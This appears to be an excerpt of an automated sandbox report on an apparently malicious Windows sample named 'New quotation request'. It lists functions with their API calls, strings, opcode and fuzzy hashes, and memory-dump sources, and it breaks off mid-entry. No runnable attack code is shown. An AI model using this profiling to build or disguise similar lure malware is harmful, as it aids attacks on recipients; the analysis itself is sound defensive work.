                                                                    • Opcode Fuzzy Hash: 63cdc2c95e44a29a069e8cbe7fa7bb1e9eb7b4df545ebebac091805811f966cb
                                                                    • Instruction Fuzzy Hash: 3A619F30630B41EFCB3AAF19CD88B6677F5FB50352F908829E4465A570C7B0A8A5DF51
                                                                    Function 002B21A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B25DB: GetWindowLongW.USER32(?,000000EB), ref: 002B25EC
                                                                    • GetSysColor.USER32(0000000F), ref: 002B21D3
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ColorLongWindow
                                                                    • String ID:
                                                                    • API String ID: 259745315-0
                                                                    • Opcode ID: c10453f0865b379a39e07a1fcf51a954c967e7097c1f5044edc087946144e519
                                                                    • Instruction ID: 584f6cb6bab797ce27d1a637aee67e1bac86b8546e09b81ff28b0131eb9da08f
                                                                    • Opcode Fuzzy Hash: c10453f0865b379a39e07a1fcf51a954c967e7097c1f5044edc087946144e519
                                                                    • Instruction Fuzzy Hash: E141F130410245EFDB265F28EC88BF93B69EB06371F584265FEA5CA1E2C7718C56DB21
                                                                    Function 0031A8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharLowerBuffW.USER32(?,?,0033F910), ref: 0031A90B
                                                                    • GetDriveTypeW.KERNEL32(00000061,003689A0,00000061), ref: 0031A9D5
                                                                    • _wcscpy.LIBCMT ref: 0031A9FF
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharDriveLowerType_wcscpy
                                                                    • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                                    • API String ID: 2820617543-1000479233
                                                                    • Opcode ID: c86a38054b117c3713fe8792912e4f78e663d5828565c01d30fc4ef6ffd7afbe
                                                                    • Instruction ID: f8bbc0a142c4d415aa9fde6274562ad6c20073e95c9ed4aa7c6dd246bb89ed1d
                                                                    • Opcode Fuzzy Hash: c86a38054b117c3713fe8792912e4f78e663d5828565c01d30fc4ef6ffd7afbe
                                                                    • Instruction Fuzzy Hash: EB51BE311283019FC30AEF14C892AEFB7E9EF88341F05492DF595572A2DB319D99CA53
                                                                    Function 002B9837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __i64tow__itow__swprintf
                                                                    • String ID: %.15g$0x%p$False$True
                                                                    • API String ID: 421087845-2263619337
                                                                    • Opcode ID: 93ac4a2928a859cbcb034c91b2a98c3a581d3d89f44c89a8d9397b877055df1a
                                                                    • Instruction ID: 61c43df24cebee7bf54b5e76dabfed8a333738cff0daa8fbe75056d274673c79
                                                                    • Opcode Fuzzy Hash: 93ac4a2928a859cbcb034c91b2a98c3a581d3d89f44c89a8d9397b877055df1a
                                                                    • Instruction Fuzzy Hash: 48411571530206AFDB24DF35C942EBA73E9FF46340F6044AEE549DB292EA719D61CB10
                                                                    Function 00337152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 0033716A
                                                                    • CreateMenu.USER32 ref: 00337185
                                                                    • SetMenu.USER32(?,00000000), ref: 00337194
                                                                    • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00337221
                                                                    • IsMenu.USER32(?), ref: 00337237
                                                                    • CreatePopupMenu.USER32 ref: 00337241
                                                                    • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0033726E
                                                                    • DrawMenuBar.USER32 ref: 00337276
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                                    • String ID: 0$F
                                                                    • API String ID: 176399719-3044882817
                                                                    • Opcode ID: 502f9f2fd70eda0b20167d28ed2b5fc1f08434b979d9fa1fae61b5600c0ca30d
                                                                    • Instruction ID: 6a21a14f16b801a1f810a5637eb7130e81ccfb0636c9ede70620d05ce29d614e
                                                                    • Opcode Fuzzy Hash: 502f9f2fd70eda0b20167d28ed2b5fc1f08434b979d9fa1fae61b5600c0ca30d
                                                                    • Instruction Fuzzy Hash: 7C4177B5A01209EFEB22DFA4D884F9ABBB9FF09311F150428F945A7360D731A910CF90
                                                                    Function 003374BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0033755E
                                                                    • CreateCompatibleDC.GDI32(00000000), ref: 00337565
                                                                    • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00337578
                                                                    • SelectObject.GDI32(00000000,00000000), ref: 00337580
                                                                    • GetPixel.GDI32(00000000,00000000,00000000), ref: 0033758B
                                                                    • DeleteDC.GDI32(00000000), ref: 00337594
                                                                    • GetWindowLongW.USER32(?,000000EC), ref: 0033759E
                                                                    • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 003375B2
                                                                    • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 003375BE
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                                    • String ID: static
                                                                    • API String ID: 2559357485-2160076837
                                                                    • Opcode ID: dddd70a0382e286491652642b922f02e9c34d4d58cc7547c046b23e0523ebe4e
                                                                    • Instruction ID: 567c711b97298197f372b117f8eabee360a6a697a3c2d05712a521401f598406
                                                                    • Opcode Fuzzy Hash: dddd70a0382e286491652642b922f02e9c34d4d58cc7547c046b23e0523ebe4e
                                                                    • Instruction Fuzzy Hash: CD316A72505215BFEF269F64DC89FEA3B6DEF0A361F110224FA15A60A0C735D821DBA4
                                                                    Function 002D6E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 002D6E3E
                                                                      • Part of subcall function 002D8B28: __getptd_noexit.LIBCMT ref: 002D8B28
                                                                    • __gmtime64_s.LIBCMT ref: 002D6ED7
                                                                    • __gmtime64_s.LIBCMT ref: 002D6F0D
                                                                    • __gmtime64_s.LIBCMT ref: 002D6F2A
                                                                    • __allrem.LIBCMT ref: 002D6F80
                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002D6F9C
                                                                    • __allrem.LIBCMT ref: 002D6FB3
                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002D6FD1
                                                                    • __allrem.LIBCMT ref: 002D6FE8
                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002D7006
                                                                    • __invoke_watson.LIBCMT ref: 002D7077
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                                                    • String ID:
                                                                    • API String ID: 384356119-0
                                                                    • Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
                                                                    • Instruction ID: c829cda6d755b9f4228ce525a6ac666f6e13e6f906c6519b7a0464a7c0d40a17
                                                                    • Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
                                                                    • Instruction Fuzzy Hash: 8471F372A60B17ABD714EE69DC45B6AB3A8AF14320F14822BF514D73C1F774DD608B90
                                                                    Function 00312527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 00312542
                                                                    • GetMenuItemInfoW.USER32(00375890,000000FF,00000000,00000030), ref: 003125A3
                                                                    • SetMenuItemInfoW.USER32(00375890,00000004,00000000,00000030), ref: 003125D9
                                                                    • Sleep.KERNEL32(000001F4), ref: 003125EB
                                                                    • GetMenuItemCount.USER32(?), ref: 0031262F
                                                                    • GetMenuItemID.USER32(?,00000000), ref: 0031264B
                                                                    • GetMenuItemID.USER32(?,-00000001), ref: 00312675
                                                                    • GetMenuItemID.USER32(?,?), ref: 003126BA
                                                                    • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00312700
                                                                    • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00312714
                                                                    • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00312735
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ItemMenu$Info$CheckCountRadioSleep_memset
                                                                    • String ID:
                                                                    • API String ID: 4176008265-0
                                                                    • Opcode ID: 80f8e85f4029a350202fc5524fdea33c12afb61f105e47f6e58e6d2fd626637c
                                                                    • Instruction ID: fac4b71cce8dffa47b74b23656ec2bea2c10079079c92e7e11cc39c7187a9d3c
                                                                    • Opcode Fuzzy Hash: 80f8e85f4029a350202fc5524fdea33c12afb61f105e47f6e58e6d2fd626637c
                                                                    • Instruction Fuzzy Hash: 85619D70900249AFDB2BCF64CC88DEFBBB9EB0A304F550459E841A7291D771ADA5DB20
                                                                    Function 00336F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00336FA5
                                                                    • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00336FA8
                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 00336FCC
                                                                    • _memset.LIBCMT ref: 00336FDD
                                                                    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00336FEF
                                                                    • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00337067
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$LongWindow_memset
                                                                    • String ID:
                                                                    • API String ID: 830647256-0
                                                                    • Opcode ID: 393426dc236d085852f2f43e7a979f851d2fc412181b367c641534da18c5d3e3
                                                                    • Instruction ID: 3975717ca04e44d584c97723291a46ff49f6847ab03aabf585bcaca3b432df4a
                                                                    • Opcode Fuzzy Hash: 393426dc236d085852f2f43e7a979f851d2fc412181b367c641534da18c5d3e3
                                                                    • Instruction Fuzzy Hash: 3A615BB5A00248AFDB22DFA4CC81EEE77F8EB09710F144159FA14EB2A1C775AD45DB90
                                                                    Function 00306B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00306BBF
                                                                    • SafeArrayAllocData.OLEAUT32(?), ref: 00306C18
                                                                    • VariantInit.OLEAUT32(?), ref: 00306C2A
                                                                    • SafeArrayAccessData.OLEAUT32(?,?), ref: 00306C4A
                                                                    • VariantCopy.OLEAUT32(?,?), ref: 00306C9D
                                                                    • SafeArrayUnaccessData.OLEAUT32(?), ref: 00306CB1
                                                                    • VariantClear.OLEAUT32(?), ref: 00306CC6
                                                                    • SafeArrayDestroyData.OLEAUT32(?), ref: 00306CD3
                                                                    • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00306CDC
                                                                    • VariantClear.OLEAUT32(?), ref: 00306CEE
                                                                    • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00306CF9
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                                    • String ID:
                                                                    • API String ID: 2706829360-0
                                                                    • Opcode ID: 0c00f32316f2fd1b81970c2244a2dba97577edd262c337e1111d1a4356d3ea33
                                                                    • Instruction ID: 8dce57b7d533da0d5ffad17d0347cf23458c74c97c6c58c085ddbc79226f3371
                                                                    • Opcode Fuzzy Hash: 0c00f32316f2fd1b81970c2244a2dba97577edd262c337e1111d1a4356d3ea33
                                                                    • Instruction Fuzzy Hash: DE416E71E00219AFDF01DFA9D8959AEBBBDEF08354F008069E955E7261CB30A955CFA0
                                                                    Function 00325732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • WSAStartup.WSOCK32(00000101,?), ref: 00325793
                                                                    • inet_addr.WSOCK32(?,?,?), ref: 003257D8
                                                                    • gethostbyname.WSOCK32(?), ref: 003257E4
                                                                    • IcmpCreateFile.IPHLPAPI ref: 003257F2
                                                                    • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00325862
                                                                    • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00325878
                                                                    • IcmpCloseHandle.IPHLPAPI(00000000), ref: 003258ED
                                                                    • WSACleanup.WSOCK32 ref: 003258F3
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                                    • String ID: Ping
                                                                    • API String ID: 1028309954-2246546115
                                                                    • Opcode ID: 82c54b87a6ba936947ff6303c53d9781750ef104640e2b8c547d35e32ed84ec8
                                                                    • Instruction ID: e473e1cb66308ea4af03e2c38bca44c631b4caf8a094eede715107c856582a13
                                                                    • Opcode Fuzzy Hash: 82c54b87a6ba936947ff6303c53d9781750ef104640e2b8c547d35e32ed84ec8
                                                                    • Instruction Fuzzy Hash: 73518F31A047109FD712EF24EC89B6AB7E8EF49750F048929F956DB2A1DB70E940DF42
                                                                    Function 0031B4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetErrorMode.KERNEL32(00000001), ref: 0031B4D0
                                                                    • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0031B546
                                                                    • GetLastError.KERNEL32 ref: 0031B550
                                                                    • SetErrorMode.KERNEL32(00000000,READY), ref: 0031B5BD
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Error$Mode$DiskFreeLastSpace
                                                                    • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                    • API String ID: 4194297153-14809454
                                                                    • Opcode ID: aed04a00b3bab87ae3446ced1d94605e460a921b6aaa71ac1738d1fdf07f23a2
                                                                    • Instruction ID: 6fe335b5da9cae96bace48d4d3d36be37354dcb1e658a3dfadb62aa77184d673
                                                                    • Opcode Fuzzy Hash: aed04a00b3bab87ae3446ced1d94605e460a921b6aaa71ac1738d1fdf07f23a2
                                                                    • Instruction Fuzzy Hash: 18318335A00209DFCB16EB68C885EEDBBB9FF4E350F148125E505DB291DB719A82CB51
                                                                    Function 00308F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                      • Part of subcall function 0030AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0030AABC
                                                                    • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00309014
                                                                    • GetDlgCtrlID.USER32 ref: 0030901F
                                                                    • GetParent.USER32 ref: 0030903B
                                                                    • SendMessageW.USER32(00000000,?,00000111,?), ref: 0030903E
                                                                    • GetDlgCtrlID.USER32(?), ref: 00309047
                                                                    • GetParent.USER32(?), ref: 00309063
                                                                    • SendMessageW.USER32(00000000,?,?,00000111), ref: 00309066
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$CtrlParent$ClassName_memmove
                                                                    • String ID: ComboBox$ListBox
                                                                    • API String ID: 1536045017-1403004172
                                                                    • Opcode ID: 4f1c90ec11ce285cafb604a2d7d02d85c24d90ab1d3a15d991021ee7102ca928
                                                                    • Instruction ID: a664a17a9e8bcf67613526182bc36de36c7f88870ff83b4536540b6ff4556615
                                                                    • Opcode Fuzzy Hash: 4f1c90ec11ce285cafb604a2d7d02d85c24d90ab1d3a15d991021ee7102ca928
                                                                    • Instruction Fuzzy Hash: 3E21C470E00208BFDF06ABA0CC96EFEBB79EF45310F50415AF961972E2DB755815DA20
                                                                    Function 0030907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                      • Part of subcall function 0030AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0030AABC
                                                                    • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 003090FD
                                                                    • GetDlgCtrlID.USER32 ref: 00309108
                                                                    • GetParent.USER32 ref: 00309124
                                                                    • SendMessageW.USER32(00000000,?,00000111,?), ref: 00309127
                                                                    • GetDlgCtrlID.USER32(?), ref: 00309130
                                                                    • GetParent.USER32(?), ref: 0030914C
                                                                    • SendMessageW.USER32(00000000,?,?,00000111), ref: 0030914F
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$CtrlParent$ClassName_memmove
                                                                    • String ID: ComboBox$ListBox
                                                                    • API String ID: 1536045017-1403004172
                                                                    • Opcode ID: 9c73bfc5deab2849aca25d051f44daf2c3475e1248acf9047113f8503504f0fe
                                                                    • Instruction ID: 9c337ea5c7699b2d03377755c7ce399a656c0cbfe9128d086c0fdad9c0d47304
                                                                    • Opcode Fuzzy Hash: 9c73bfc5deab2849aca25d051f44daf2c3475e1248acf9047113f8503504f0fe
                                                                    • Instruction Fuzzy Hash: 6E217174A01209BFDF16ABA4CC96FFEBB68EF44300F504056F951972E2DB759815DA20
                                                                    Function 00309163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetParent.USER32 ref: 0030916F
                                                                    • GetClassNameW.USER32(00000000,?,00000100), ref: 00309184
                                                                    • _wcscmp.LIBCMT ref: 00309196
                                                                    • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00309211
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
